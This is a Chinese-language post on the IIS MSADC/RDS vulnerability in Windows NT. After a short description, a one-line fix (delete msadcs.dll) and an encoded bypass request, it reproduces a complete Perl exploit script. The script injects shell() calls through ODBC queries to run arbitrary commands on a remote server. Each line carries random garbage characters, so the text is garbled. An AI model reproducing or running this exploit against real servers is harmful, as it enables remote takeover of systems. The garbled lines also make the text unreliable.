IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
_m Xs4 {-HDkG' 8 涉及程序:
80|onP\L Microsoft NT server
<|a=hHPi: \^9pW 2v 描述:
EJ`Q8uz 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
:/6()_>bO E4r.ky`#~ 详细:
I FsE!oDs4 如果你没有时间读详细内容的话,就删除:
ur6e&bTp c:\Program Files\Common Files\System\Msadc\msadcs.dll
#,&8& 有关的安全问题就没有了。
_wz2 J_PH7Z*=, 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
E tx`K5Tr] oCVku:. 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
OqBC/p
B 关于利用ODBC远程漏洞的描述,请参看:
p;0 PxL= &iNS?1a%f= http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm gXt O*Rfqk h$pk<< 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
ys%zlbj[ http://www.microsoft.com/security/bulletins/MS99-025faq.asp !4t`Hv?' vG~+r<: 这里不再论述。
B!}BM}r ?eV_ACpZ8 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
Q ]"jD#F =2%VZE7Vm /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
$eBQH 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
v5T`K=qC 3C M^j<9 %G[/H.7s- #将下面这段保存为txt文件,然后: "perl -x 文件名"
F;P5D< -IU4#s #!perl
o\4CoeG #
BxdX WO # MSADC/RDS 'usage' (aka exploit) script
?ok)>P #
eLV.qLBUs # by rain.forest.puppy
>
H BJk: #
s]Gd-j # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
.*Vkua # beta test and find errors!
B`{mdjMy ZVL
gK}s use Socket; use Getopt::Std;
>aG= T{ getopts("e:vd:h:XR", \%args);
+AoP{x$Ia PO o%^'( print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
rP'AJDuq O9^T3~x[V if (!defined $args{h} && !defined $args{R}) {
"Zcu[2, print qq~
HTk\723Rdw Usage: msadc.pl -h <host> { -d <delay> -X -v }
>3PMnI -h <host> = host you want to scan (ip or domain)
^"x<)@X -d <seconds> = delay between calls, default 1 second
$7NCb7%/L -X = dump Index Server path table, if available
*~2cG;B"e -v = verbose
Pu;yEh -e = external dictionary file for step 5
uw33:G t'g^W Or a -R will resume a command session
;iU%Kt JoJukoy}F ~; exit;}
g1{/ 5{XI XA{F:% $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
AbfZ++aJ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
NYB "jKMk if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
. I==-| if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
,h&a9:+i $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
f*m[|0qI<X if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
/e1(?
20 oa`#RC8N if (!defined $args{R}){ $ret = &has_msadc;
{DwIjy31T die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
m#\[m<F ,Dp0fauJ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
!9]d|8! . "cmd /c ";
,lm=M5b $in=<STDIN>; chomp $in;
Z\ )C_p\- $command="cmd /c " . $in ;
%;|0 d1]i,C~Y if (defined $args{R}) {&load; exit;}
S^N{wZo :( ,mL2[ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
fu4!t31 &try_btcustmr;
0V`[Zgf dv!r. print "\nStep 2: Trying to make our own DSN...";
,j178EX &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
}y6q\#G #U ASH& print "\nStep 3: Trying known DSNs...";
pRi<cO &known_dsn;
C6jR=@42Q zN!j%T.e
print "\nStep 4: Trying known .mdbs...";
BStk&b &known_mdb;
Qxa{UQh}9 D4Etl5k if (defined $args{e}){
(=c1 print "\nStep 5: Trying dictionary of DSN names...";
h@1!T &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
<)U4Xz ? 5 1dSFr<# print "Sorry Charley...maybe next time?\n";
`1+F,&e exit;
0L#/lDNk 2K{6iw"h ##############################################################################
uMmXs%9T <f>akT,W sub sendraw { # ripped and modded from whisker
M%`\P\A sleep($delay); # it's a DoS on the server! At least on mine...
E[g*O5 my ($pstr)=@_;
QlEd6^& socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
38IMxd9v die("Socket problems\n");
&<]<a_pw if(connect(S,pack "SnA4x8",2,80,$target)){
:iPym}CE select(S); $|=1;
)9L/sKz print $pstr; my @in=<S>;
2k5/SV
X select(STDOUT); close(S);
Kq)MTlP0g return @in;
I#G0, &Gv } else { die("Can't connect...\n"); }}
Eu,`7iQ?( 27A!\pn ##############################################################################
NM#-Af*pg nxo+?:** sub make_header { # make the HTTP request
?LP9iY${ my $msadc=<<EOT
gfg n68k POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
cWLqU User-Agent: ACTIVEDATA
A''pS Host: $ip
:/N+;- 18 Content-Length: $clen
9Q.#\ Connection: Keep-Alive
'V&Y[7Aeq 09h.1/ ADCClientVersion:01.06
ST dNM\+ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
~Z)/RT/ GTl
xq%?b --!ADM!ROX!YOUR!WORLD!
w$ fJ4+ Content-Type: application/x-varg
!3qVB Content-Length: $reqlen
=#xK=pRy; e0HfP v_ EOT
F0lOlS ; $msadc=~s/\n/\r\n/g;
HM9fjl[ return $msadc;}
ej(ikj~j <AoXEuD ##############################################################################
@n+=vC.xO ?cy4&]s sub make_req { # make the RDS request
@It>*B yB. my ($switch, $p1, $p2)=@_;
#,NvO!j<4 my $req=""; my $t1, $t2, $query, $dsn;
#&
?g %' mUoIJ3fv_, if ($switch==1){ # this is the btcustmr.mdb query
5:.{oSy7n $query="Select * from Customers where City=" . make_shell();
=O$M_1lp $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
k G0Yh2;# $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
c&nh>oN p&b5% 4P elsif ($switch==2){ # this is general make table query
PnYBy| yl $query="create table AZZ (B int, C varchar(10))";
H17-/|-;0! $dsn="$p1";}
.qv'6G +&=?BC}L9^ elsif ($switch==3){ # this is general exploit table query
jN*:QI $query="select * from AZZ where C=" . make_shell();
4JyM7ePND} $dsn="$p1";}
8|^CK|m6* {*m ?Kc7k elsif ($switch==4){ # attempt to hork file info from index server
SPkn3D6 $query="select path from scope()";
ipE]}0q $dsn="Provider=MSIDXS;";}
8V/L:h#7 ~+6Vdxm elsif ($switch==5){ # bad query
L=;
-x9 $query="select";
??&<k $dsn="$p1";}
rNDrp@A> w3T ]H_V $t1= make_unicode($query);
p{$p
$/A $t2= make_unicode($dsn);
\wvg,j= $req = "\x02\x00\x03\x00";
+-?/e-z") $req.= "\x08\x00" . pack ("S1", length($t1));
yYZxLJ=' $req.= "\x00\x00" . $t1 ;
x.mrCJn) $req.= "\x08\x00" . pack ("S1", length($t2));
u9qMqeF $req.= "\x00\x00" . $t2 ;
w n|]{Ww35 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
1GCzyBSbb return $req;}
1fU,5+PH dtt ~ Bd ##############################################################################
cC{"<fYF 0%`4px4J sub make_shell { # this makes the shell() statement
:mcYZPX# return "'|shell(\"$command\")|'";}
zbkMFD.{y )?! [}t ##############################################################################
C~%
1w%nn i5}4(sV sub make_unicode { # quick little function to convert to unicode
5` D-
my ($in)=@_; my $out;
t+uE for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
"2ru 7Y" return $out;}
_HOIT oXsL9, ##############################################################################
E0n6$5Uc? 8 .>/6M sub rdo_success { # checks for RDO return success (this is kludge)
l `9t} my (@in) = @_; my $base=content_start(@in);
_i0kc,*C\ if($in[$base]=~/multipart\/mixed/){
_l`e#XbG return 1 if( $in[$base+10]=~/^\x09\x00/ );}
X;F8_+Np return 0;}
I^\&y(LJF
08bJCH ##############################################################################
R"v 3!P nAJdr*`a,5 sub make_dsn { # this makes a DSN for us
V N{NA+I my @drives=("c","d","e","f");
rh*sbZ68>E print "\nMaking DSN: ";
1Tp/MV/> foreach $drive (@drives) {
K>:]Bx#F7 print "$drive: ";
k;W@LfP my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
cf_|nL#9 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
x3+oAb@o/ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
d~J-|yyT $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
Hy:V`> return 0 if $2 eq "404"; # not found/doesn't exist
B5%n(,Lx if($2 eq "200") {
72uz<i!&$ foreach $line (@results) {
2-*V=El return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
q/9H..6 } return 0;}
T=f|,sK +7 Jb_1LZ)] ##############################################################################
`O?T.p) Uh
eC sub verify_exists {
PXoz*)tk my ($page)=@_;
:(|'S4z my @results=sendraw("GET $page HTTP/1.0\n\n");
Z6C=T;w return $results[0];}
@oP_;G pO Iq%0] ##############################################################################
{@Yb%{+ 8LkP)]4^sO sub try_btcustmr {
IA zZ1#/3 my @drives=("c","d","e","f");
W<ZK,kv my @dirs=("winnt","winnt35","winnt351","win","windows");
^ >x|z. 6DIZ@ oi foreach $dir (@dirs) {
g6t"mkMY
L print "$dir -> "; # fun status so you can see progress
-/C)l)V} foreach $drive (@drives) {
O43YY2 print "$drive: "; # ditto
^[E'1$D $reqlen=length( make_req(1,$drive,$dir) ) - 28;
Ox!U8g8c $reqlenlen=length( "$reqlen" );
LWoG4s?w $clen= 206 + $reqlenlen + $reqlen;
h5_G4J{1 0-Y:v(|. my @results=sendraw(make_header() . make_req(1,$drive,$dir));
+yob)% if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
O=cxNy-I else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
u6V/JI}g `^JJ&)4iv ##############################################################################
3f Xv4R;!: \`V$
'B{. sub odbc_error {
'7Nr8D4L my (@in)=@_; my $base;
moj]j`P5a my $base = content_start(@in);
/
O/`< if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
7M_U2cd|TD $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
RgdysyB $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
YpAg $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
^mWybPqx return $in[$base+4].$in[$base+5].$in[$base+6];}
8b.u'r174 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
WW2Ob* print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
G0 J4O!3 $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
j:T/ iH!YF []R? ViG ##############################################################################
qW:)!z3\ qSqI7ptA\ sub verbose {
keW~ NM my ($in)=@_;
PP~rn fE return if !$verbose;
-4rDbDsr print STDOUT "\n$in\n";}
kd:$oS_*s 1be %G [* ##############################################################################
1axQ)},o@p 3nZ9m sub save {
jCAC
` my ($p1, $p2, $p3, $p4)=@_;
AsS$C&^ open(OUT, ">rds.save") || print "Problem saving parameters...\n";
r)9Dy, print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
f %lD08Sl close OUT;}
S d/?& "vYE+ ##############################################################################
@ l1 UtB6V)YI sub load {
=(a1+.O my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
l\AMl
\ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
_I`,Br:N @p=<IN>; close(IN);
/&& 2u7* $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
do-ahl, $target= inet_aton($ip) || die("inet_aton problems");
etT + print "Resuming to $ip ...";
H.<a`mm8 $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
e~ aqaY~} if($p[1]==1) {
JjpRHw8\ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
n%R;-?*v $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
)k&a}u5y my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
\~d";~Y` if (rdo_success(@results)){print "Success!\n";}
`-`qdda else { print "failed\n"; verbose(odbc_error(@results));}}
!UOCJj.cA elsif ($p[1]==3){
V}d9f2 if(run_query("$p[3]")){
IKtB; print "Success!\n";} else { print "failed\n"; }}
&mj6rIz elsif ($p[1]==4){
hUQ,z7- if(run_query($drvst . "$p[3]")){
zf4Ec-) print "Success!\n"; } else { print "failed\n"; }}
fPi3sb`} exit;}
qm Tb-~ '\~$dtI$ ##############################################################################
F/m^?{==~* -LDCBc" sub create_table {
'}g*!jL my ($in)=@_;
+X`V|E,no $reqlen=length( make_req(2,$in,"") ) - 28;
ri`R<l8 $reqlenlen=length( "$reqlen" );
$@d9<83= $clen= 206 + $reqlenlen + $reqlen;
d_n7k g+ my @results=sendraw(make_header() . make_req(2,$in,""));
;N B:e return 1 if rdo_success(@results);
-[= drj9I my $temp= odbc_error(@results); verbose($temp);
svelYe#9z return 1 if $temp=~/Table 'AZZ' already exists/;
yKXff1^M return 0;}
e__@GBG %p^.\ch9 ##############################################################################
>e2<!#er| R(P%Csbqh sub known_dsn {
$Y=T&O # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
-yGDh+- my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
,*4p?|A "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
ZT02"3F "banner", "banners", "ads", "ADCDemo", "ADCTest");
V._6=ZJ "G-1>:
foreach $dSn (@dsns) {
Eh-n print ".";
+,o0-L1D next if (!is_access("DSN=$dSn"));
A*./,KT if(create_table("DSN=$dSn")){
_,;j7%j print "$dSn successful\n";
5Zmw} M if(run_query("DSN=$dSn")){
oLWJm print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
t NsPB6Z print "Something's borked. Use verbose next time\n";}}} print "\n";}
,D\GGRw cJM: ##############################################################################
<APB11 RH}A sub is_access {
=X?\MVWB my ($in)=@_;
mcz+P | $reqlen=length( make_req(5,$in,"") ) - 28;
f:g,_|JD$ $reqlenlen=length( "$reqlen" );
|K?#$~ $clen= 206 + $reqlenlen + $reqlen;
;})5:\h my @results=sendraw(make_header() . make_req(5,$in,""));
7'wS\/e4a my $temp= odbc_error(@results);
Qr1e@ =B verbose($temp); return 1 if ($temp=~/Microsoft Access/);
L,d
LE-L return 0;}
TI9UXa:V\ <<D$+@wxm ##############################################################################
=n^!VXaL]] $^&ig sub run_query {
[Q\GxX. my ($in)=@_;
?u4INZ0W $reqlen=length( make_req(3,$in,"") ) - 28;
2=?tJ2E $reqlenlen=length( "$reqlen" );
^:9$@+a $clen= 206 + $reqlenlen + $reqlen;
`cx]e my @results=sendraw(make_header() . make_req(3,$in,""));
$?,a[79 return 1 if rdo_success(@results);
Z5c~^jL$- my $temp= odbc_error(@results); verbose($temp);
/h v4x9 return 0;}
:Rs^0F8)c <Sz52Suh> ##############################################################################
axHK_1N{ ,>t69 Ad sub known_mdb {
7W6cM%_B my @drives=("c","d","e","f","g");
,!V]jP) my @dirs=("winnt","winnt35","winnt351","win","windows");
\4"S7.% | my $dir, $drive, $mdb;
X1ZgSs+i my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
A2}Rl%+X]6 9%*wb`& # this is sparse, because I don't know of many
jjJ2>3avY my @sysmdbs=( "\\catroot\\icatalog.mdb",
3E
f1bhi "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
Qb8KPpd "\\system32\\certmdb.mdb",
SuZ&vqS "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
0l;<5 Ro2d,' my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
*9)SmSs "\\cfusion\\cfapps\\forums\\forums_.mdb",
7bxA]s{m "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
E;21?`x5 "\\cfusion\\cfapps\\security\\realm_.mdb",
v/ *Y#(X "\\cfusion\\cfapps\\security\\data\\realm.mdb",
Hi_G "\\cfusion\\database\\cfexamples.mdb",
bCZ gcN "\\cfusion\\database\\cfsnippets.mdb",
$A3<G-4O "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
i{D=l7j|w "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
do uc('@ "\\cfusion\\brighttiger\\database\\cleam.mdb",
XC7%vDIt "\\cfusion\\database\\smpolicy.mdb",
z} '! eCl "\\cfusion\\database\cypress.mdb",
*m%]zj0bo "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
$+}+zZX5 "\\website\\cgi-win\\dbsample.mdb",
FgL,k "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
[ofqGwpDG "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
nW"q ); #these are just
y*{Zbz#{ foreach $drive (@drives) {
Rl|4S[ foreach $dir (@dirs){
[i0Hm)Bd3 foreach $mdb (@sysmdbs) {
k%y9aO print ".";
?PTk1sB if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
3]-_q"Co4f print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
`nUO l if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
rbT)=-( print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
p;?*}xa } else { print "Something's borked. Use verbose next time\n"; }}}}}
S4witIK5 jlFk@:y4 foreach $drive (@drives) {
VF&Z%O3n foreach $mdb (@mdbs) {
m\/ Tj0e print ".";
: S$l"wrh\ if(create_table($drv . $drive . $dir . $mdb)){
a?yMHb{F print "\n" . $drive . $dir . $mdb . " successful\n";
yT{8d.Rh if(run_query($drv . $drive . $dir . $mdb)){
2iu_pjj print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
]nhr+;of/- } else { print "Something's borked. Use verbose next time\n"; }}}}
{_RWVVVe }
6z,&